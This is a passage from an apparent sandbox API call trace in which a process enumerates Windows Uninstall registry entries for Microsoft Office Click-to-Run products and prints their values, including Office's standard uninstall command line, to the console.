returned 0x2e0000 [0146.878] GetProcessHeap () returned 0x2e0000 [0146.878] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.878] GetProcessHeap () returned 0x2e0000 [0146.878] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0146.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0146.878] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ClickToRunComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.878] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.878] GetProcessHeap () returned 0x2e0000 [0146.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.878] GetProcessHeap () returned 0x2e0000 [0146.878] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.878] GetProcessHeap () returned 0x2e0000 [0146.878] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.878] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0146.878] __iob_func () returned 0x7fefd702a80 [0146.878] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.879] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.879] _fileno (_File=0x7fefd702ab0) returned 1 [0146.879] _errno () returned 0xc4bb0 [0146.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.879] _errno () returned 0xc4bb0 [0146.879] GetFileType (hFile=0x50) returned 0x1 [0146.879] lstrlenW (lpString=" ") returned 4 [0146.879] GetConsoleOutputCP () returned 0x1b5 [0146.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.879] GetConsoleOutputCP () returned 0x1b5 [0146.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.879] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.879] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.879] lstrlenW (lpString="ClickToRunComponent") returned 19 [0146.879] __iob_func () returned 0x7fefd702a80 [0146.879] _fileno (_File=0x7fefd702ab0) returned 1 [0146.879] _errno () returned 0xc4bb0 [0146.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.879] _errno () returned 0xc4bb0 [0146.879] GetFileType (hFile=0x50) returned 0x1 [0146.879] lstrlenW (lpString="ClickToRunComponent") returned 19 [0146.879] GetConsoleOutputCP () returned 0x1b5 [0146.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0146.880] GetConsoleOutputCP () returned 0x1b5 [0146.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ClickToRunComponent", lpUsedDefaultChar=0x0) returned 19 [0146.880] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0146.880] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.880] __iob_func () returned 0x7fefd702a80 [0146.880] _fileno (_File=0x7fefd702ab0) returned 1 [0146.880] _errno () returned 0xc4bb0 [0146.880] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.880] _errno () returned 0xc4bb0 [0146.880] GetFileType (hFile=0x50) returned 0x1 [0146.880] lstrlenW (lpString=" ") returned 4 [0146.880] GetConsoleOutputCP () returned 0x1b5 [0146.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.881] GetConsoleOutputCP () returned 0x1b5 [0146.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.881] __iob_func () returned 0x7fefd702a80 [0146.881] _fileno (_File=0x7fefd702ab0) returned 1 [0146.881] _errno () returned 0xc4bb0 [0146.881] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.881] _errno () returned 0xc4bb0 [0146.881] GetFileType (hFile=0x50) returned 0x1 [0146.881] lstrlenW (lpString="REG_DWORD") returned 9 [0146.881] GetConsoleOutputCP () returned 0x1b5 [0146.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.881] GetConsoleOutputCP () returned 0x1b5 [0146.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.882] __iob_func () returned 0x7fefd702a80 [0146.882] _fileno (_File=0x7fefd702ab0) returned 1 [0146.882] _errno () returned 0xc4bb0 [0146.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.882] _errno () returned 0xc4bb0 [0146.882] GetFileType (hFile=0x50) returned 0x1 [0146.882] lstrlenW (lpString=" ") returned 4 [0146.882] GetConsoleOutputCP () returned 0x1b5 [0146.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.882] GetConsoleOutputCP () returned 0x1b5 [0146.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.882] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.882] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.882] __iob_func () returned 0x7fefd702a80 [0146.882] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.882] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0146.882] _fileno (_File=0x7fefd702ab0) returned 1 [0146.882] _errno () returned 0xc4bb0 [0146.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.882] _errno () returned 0xc4bb0 [0146.882] GetFileType (hFile=0x50) returned 0x1 [0146.882] lstrlenW (lpString="0x1") returned 3 [0146.882] GetConsoleOutputCP () returned 0x1b5 [0146.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.883] GetConsoleOutputCP () returned 0x1b5 [0146.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0146.883] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.883] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.883] __iob_func () returned 0x7fefd702a80 [0146.883] _fileno (_File=0x7fefd702ab0) returned 1 [0146.883] _errno () returned 0xc4bb0 [0146.883] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.883] _errno () returned 0xc4bb0 [0146.883] GetFileType (hFile=0x50) returned 0x1 [0146.883] lstrlenW (lpString="\n") returned 1 [0146.883] GetConsoleOutputCP () returned 0x1b5 [0146.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.883] GetConsoleOutputCP () returned 0x1b5 [0146.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.883] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.883] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.883] GetProcessHeap () returned 0x2e0000 [0146.883] GetProcessHeap () returned 0x2e0000 [0146.883] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.884] __iob_func () returned 0x7fefd702a80 [0146.884] _fileno (_File=0x7fefd702ab0) returned 1 [0146.884] _errno () returned 0xc4bb0 [0146.884] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.884] _errno () returned 0xc4bb0 [0146.884] GetFileType (hFile=0x50) returned 0x1 [0146.884] lstrlenW (lpString="\n") returned 1 [0146.884] GetConsoleOutputCP () returned 0x1b5 [0146.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.884] GetConsoleOutputCP () returned 0x1b5 [0146.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.884] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.884] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0146.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0146.884] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.884] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us") returned 95 [0146.884] GetProcessHeap () returned 0x2e0000 [0146.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xc2) returned 0x2fd170 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.885] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.885] GetProcessHeap () returned 0x2e0000 [0146.885] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xc2 [0146.885] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.885] RegCloseKey (hKey=0x5c) returned 0x0 [0146.885] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xd, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ProPlusRetail - en-us", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.885] __iob_func () returned 0x7fefd702a80 [0146.885] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.885] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\n") returned 93 [0146.885] _fileno (_File=0x7fefd702ab0) returned 1 [0146.885] _errno () returned 0xc4bb0 [0146.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.885] _errno () returned 0xc4bb0 [0146.885] GetFileType (hFile=0x50) returned 0x1 [0146.885] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\n") returned 93 [0146.885] GetConsoleOutputCP () returned 0x1b5 [0146.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\n", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0146.885] GetConsoleOutputCP () returned 0x1b5 [0146.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\n", cchWideChar=93, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\n", lpUsedDefaultChar=0x0) returned 93 [0146.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 93 [0146.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.886] RegOpenKeyExW (in: hKey=0x58, lpSubKey="ProPlusRetail - en-us", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.886] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0xb, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.886] GetProcessHeap () returned 0x2e0000 [0146.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0146.886] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.886] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1a8) returned 0x0 [0146.886] GetProcessHeap () returned 0x2e0000 [0146.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1aa) returned 0x2fd170 [0146.886] GetProcessHeap () returned 0x2e0000 [0146.886] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.886] GetProcessHeap () returned 0x2e0000 [0146.886] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1aa [0146.886] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0x1a8 | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0", pcbData=0x23f670*=0x1a6) returned 0x0 [0146.886] __iob_func () returned 0x7fefd702a80 [0146.886] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.886] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.886] _fileno (_File=0x7fefd702ab0) returned 1 [0146.886] _errno () returned 0xc4bb0 [0146.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.886] _errno () returned 0xc4bb0 [0146.886] GetFileType (hFile=0x50) returned 0x1 [0146.886] lstrlenW (lpString=" ") returned 4 [0146.886] GetConsoleOutputCP () returned 0x1b5 [0146.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.887] GetConsoleOutputCP () returned 0x1b5 [0146.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.887] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.887] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.887] lstrlenW (lpString="UninstallString") returned 15 [0146.887] __iob_func () returned 0x7fefd702a80 [0146.887] _fileno (_File=0x7fefd702ab0) returned 1 [0146.887] _errno () returned 0xc4bb0 [0146.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.887] _errno () returned 0xc4bb0 [0146.887] GetFileType (hFile=0x50) returned 0x1 [0146.887] lstrlenW (lpString="UninstallString") returned 15 [0146.887] GetConsoleOutputCP () returned 0x1b5 [0146.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.887] GetConsoleOutputCP () returned 0x1b5 [0146.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0146.887] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.887] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.887] __iob_func () returned 0x7fefd702a80 [0146.887] _fileno (_File=0x7fefd702ab0) returned 1 [0146.888] _errno () returned 0xc4bb0 [0146.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.888] _errno () returned 0xc4bb0 [0146.888] GetFileType (hFile=0x50) returned 0x1 [0146.888] lstrlenW (lpString=" ") returned 4 [0146.888] GetConsoleOutputCP () returned 0x1b5 [0146.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.888] GetConsoleOutputCP () returned 0x1b5 [0146.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.888] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.888] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.888] __iob_func () returned 0x7fefd702a80 [0146.888] _fileno (_File=0x7fefd702ab0) returned 1 [0146.888] _errno () returned 0xc4bb0 [0146.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.888] _errno () returned 0xc4bb0 [0146.888] GetFileType (hFile=0x50) returned 0x1 [0146.888] lstrlenW (lpString="REG_SZ") returned 6 [0146.888] GetConsoleOutputCP () returned 0x1b5 [0146.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.888] GetConsoleOutputCP () returned 0x1b5 [0146.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.889] __iob_func () returned 0x7fefd702a80 [0146.889] _fileno (_File=0x7fefd702ab0) returned 1 [0146.889] _errno () returned 0xc4bb0 [0146.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.889] _errno () returned 0xc4bb0 [0146.889] GetFileType (hFile=0x50) returned 0x1 [0146.889] lstrlenW (lpString=" ") returned 4 [0146.889] GetConsoleOutputCP () returned 0x1b5 [0146.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.889] GetConsoleOutputCP () returned 0x1b5 [0146.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.889] __iob_func () returned 0x7fefd702a80 [0146.889] _fileno (_File=0x7fefd702ab0) returned 1 [0146.889] _errno () returned 0xc4bb0 [0146.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.889] _errno () returned 0xc4bb0 [0146.889] GetFileType (hFile=0x50) returned 0x1 [0146.889] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0") returned 210 [0146.889] GetConsoleOutputCP () returned 0x1b5 [0146.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=210, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 210 [0146.890] GetConsoleOutputCP () returned 0x1b5 [0146.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=210, 